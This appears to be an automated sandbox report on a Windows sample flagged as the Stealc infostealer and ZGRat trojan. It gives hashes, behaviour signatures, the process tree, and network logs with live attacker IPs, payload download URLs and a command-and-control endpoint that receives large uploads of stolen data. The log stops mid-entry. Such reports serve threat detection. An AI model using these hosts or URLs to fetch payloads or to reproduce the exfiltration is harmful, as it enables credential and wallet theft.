Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/04/2024, 07:49 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe

  • Size

    451KB

  • MD5

    0f3705608b16d443f564c71e729835f0

  • SHA1

    32e6700f07c61b5d0d1b957dd08b11a9a134a596

  • SHA256

    632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834

  • SHA512

    96e6635bc84fd3d33b98851a8dd36a9b55ecef2efe15546f7621418a92a1da3d117e8515d5ffff55aa5dd2fde529f45da598524aebdebb31a4172f37ded4a634

  • SSDEEP

    6144:Nwwu+porkLZy2q8sYoHPVcnWsnrsLuN+rPYqng41EPVp0jGdCGJVQnN3iv:Nz3pGkg2qGcPgrAg+rRQVp0jGPJCnNSv

Score
10/10
stealczgratdiscoveryratspywarestealer

Malware Config

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
    "C:\Users\Admin\AppData\Local\Temp\632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Users\Admin\AppData\Local\Temp\u16g.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u16g.0.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:2724
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 2044
        3⤵
        • Program crash
        PID:2248
    • C:\Users\Admin\AppData\Local\Temp\u16g.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u16g.1.exe"
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3680
      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4748
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 1064
      2⤵
      • Program crash
      PID:864
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1528 -ip 1528
    1⤵
      PID:4344
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2724 -ip 2724
      1⤵
        PID:1872

      Network

      • flag-de
        GET
        http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        Remote address:
        185.172.128.90:80
        Request
        GET /cpa/ping.php?substr=two&s=ab&sub=0 HTTP/1.1
        Host: 185.172.128.90
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 15 Apr 2024 07:49:20 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 1
        Content-Type: text/html; charset=UTF-8
      • flag-us
        DNS
        90.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        90.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        8.8.8.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        8.8.8.8.in-addr.arpa
        IN PTR
        Response
        8.8.8.8.in-addr.arpa
        IN PTR
        dnsgoogle
      • flag-us
        DNS
        209.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        209.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        download.iolo.net
        Remote address:
        8.8.8.8:53
        Request
        download.iolo.net
        IN A
        Response
        download.iolo.net
        IN CNAME
        iolo0.b-cdn.net
        iolo0.b-cdn.net
        IN A
        185.93.2.245
      • flag-us
        DNS
        148.155.9.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        148.155.9.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        nexusrules.officeapps.live.com
        Remote address:
        8.8.8.8:53
        Request
        nexusrules.officeapps.live.com
        IN A
        Response
        nexusrules.officeapps.live.com
        IN CNAME
        prod.nexusrules.live.com.akadns.net
        prod.nexusrules.live.com.akadns.net
        IN A
        52.111.243.30
      • flag-us
        DNS
        30.243.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        30.243.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        self.events.data.microsoft.com
        Remote address:
        8.8.8.8:53
        Request
        self.events.data.microsoft.com
        IN A
        Response
        self.events.data.microsoft.com
        IN CNAME
        self-events-data.trafficmanager.net
        self-events-data.trafficmanager.net
        IN CNAME
        onedscolprdeus18.eastus.cloudapp.azure.com
        onedscolprdeus18.eastus.cloudapp.azure.com
        IN A
        20.42.73.30
      • flag-us
        DNS
        30.73.42.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        30.73.42.20.in-addr.arpa
        IN PTR
        Response
      • flag-de
        GET
        http://185.172.128.228/ping.php?substr=two
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /ping.php?substr=two HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 15 Apr 2024 07:49:22 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.59/syncUpd.exe
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        Remote address:
        185.172.128.59:80
        Request
        GET /syncUpd.exe HTTP/1.1
        Host: 185.172.128.59
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 15 Apr 2024 07:49:22 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 15 Apr 2024 07:45:01 GMT
        ETag: "4d800-6161dcc825400"
        Accept-Ranges: bytes
        Content-Length: 317440
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        228.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        svc.iolo.com
        Remote address:
        8.8.8.8:53
        Request
        svc.iolo.com
        IN A
        Response
        svc.iolo.com
        IN A
        20.157.87.45
      • flag-us
        DNS
        245.2.93.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        245.2.93.185.in-addr.arpa
        IN PTR
        Response
        245.2.93.185.in-addr.arpa
        IN PTR
        185-93-2-245 bunnyinfranet
      • flag-us
        DNS
        245.2.93.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        245.2.93.185.in-addr.arpa
        IN PTR
      • flag-us
        DNS
        59.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        59.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        45.87.157.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.87.157.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
        Response
        westus2-2.in.applicationinsights.azure.com
        IN CNAME
        westus2-2.in.ai.monitor.azure.com
        westus2-2.in.ai.monitor.azure.com
        IN CNAME
        westus2-2.in.ai.privatelink.monitor.azure.com
        westus2-2.in.ai.privatelink.monitor.azure.com
        IN CNAME
        gig-ai-prod-westus2-0.trafficmanager.net
        gig-ai-prod-westus2-0.trafficmanager.net
        IN CNAME
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        IN A
        20.9.155.148
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
      • flag-de
        GET
        http://185.172.128.228/BroomSetup.exe
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /BroomSetup.exe HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Mon, 15 Apr 2024 07:49:23 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT
        ETag: "4a4030-613b1bf118700"
        Accept-Ranges: bytes
        Content-Length: 4866096
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGH
        Host: 185.172.128.209
        Content-Length: 215
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:26 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 152
        Connection: keep-alive
        Vary: Accept-Encoding
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH
        Host: 185.172.128.209
        Content-Length: 268
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:26 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 1520
        Connection: keep-alive
        Vary: Accept-Encoding
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID
        Host: 185.172.128.209
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:26 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 5416
        Connection: keep-alive
        Vary: Accept-Encoding
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ
        Host: 185.172.128.209
        Content-Length: 4651
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:26 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/sqlite3.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/sqlite3.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:27 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 1106998
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT
        ETag: "10e436-5e7ec6832a180"
        Accept-Ranges: bytes
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB
        Host: 185.172.128.209
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:28 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFH
        Host: 185.172.128.209
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:29 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/freebl3.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/freebl3.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:29 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 685392
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "a7550-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/mozglue.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/mozglue.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:30 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 608080
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "94750-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/msvcp140.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/msvcp140.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:32 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 450024
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "6dde8-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/nss3.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/nss3.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:33 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 2046288
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "1f3950-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/softokn3.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/softokn3.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:46 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 257872
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "3ef50-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        GET
        http://185.172.128.209/15f649199f40275b/vcruntime140.dll
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        GET /15f649199f40275b/vcruntime140.dll HTTP/1.1
        Host: 185.172.128.209
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:47 GMT
        Content-Type: application/x-msdos-program
        Content-Length: 80880
        Connection: keep-alive
        Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
        ETag: "13bf0-5e7e950876500"
        Accept-Ranges: bytes
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIE
        Host: 185.172.128.209
        Content-Length: 947
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:48 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK
        Host: 185.172.128.209
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:48 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 2408
        Connection: keep-alive
        Vary: Accept-Encoding
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF
        Host: 185.172.128.209
        Content-Length: 265
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:48 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 2052
        Connection: keep-alive
        Vary: Accept-Encoding
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC
        Host: 185.172.128.209
        Content-Length: 671467
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:50 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ
        Host: 185.172.128.209
        Content-Length: 2002867
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:52 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDG
        Host: 185.172.128.209
        Content-Length: 15735
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:53 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI
        Host: 185.172.128.209
        Content-Length: 15731
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:53 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA
        Host: 185.172.128.209
        Content-Length: 363
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:54 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JKKECBGIIIEBGCBGIDHD
        Host: 185.172.128.209
        Content-Length: 93275
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:58 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-de
        POST
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        u16g.0.exe
        Remote address:
        185.172.128.209:80
        Request
        POST /3cd2b41cbde8fc9c.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF
        Host: 185.172.128.209
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 15 Apr 2024 07:49:58 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 0
        Connection: keep-alive
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u16g.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 256
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb8
        date: Mon, 15 Apr 2024 07:49:19 GMT
        set-cookie: SERVERID=svc8; path=/
        connection: close
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u16g.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 192
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb8
        date: Mon, 15 Apr 2024 07:49:34 GMT
        set-cookie: SERVERID=svc8; path=/
        connection: close
      • 185.172.128.90:80
        http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
        http
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        388 B
         280 B
         4
        3

        HTTP Request

        GET http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/ping.php?substr=two
        http
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        374 B
         279 B
         4
        3

        HTTP Request

        GET http://185.172.128.228/ping.php?substr=two

        HTTP Response

        200
      • 185.172.128.59:80
        http://185.172.128.59/syncUpd.exe
        http
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        6.0kB
         327.6kB
         126
        247

        HTTP Request

        GET http://185.172.128.59/syncUpd.exe

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/BroomSetup.exe
        http
        632220f8a6b61b2ffb8ee16e97f8269c1a98e93dccb484f7e7a4e35d3589c834.exe
        97.7kB
         5.0MB
         2069
        3746

        HTTP Request

        GET http://185.172.128.228/BroomSetup.exe

        HTTP Response

        200
      • 185.172.128.209:80
        http://185.172.128.209/3cd2b41cbde8fc9c.php
        http
        u16g.0.exe
        3.3MB
         5.5MB
         6449
        5348

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/sqlite3.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/freebl3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/mozglue.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/msvcp140.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/nss3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/softokn3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.209/15f649199f40275b/vcruntime140.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

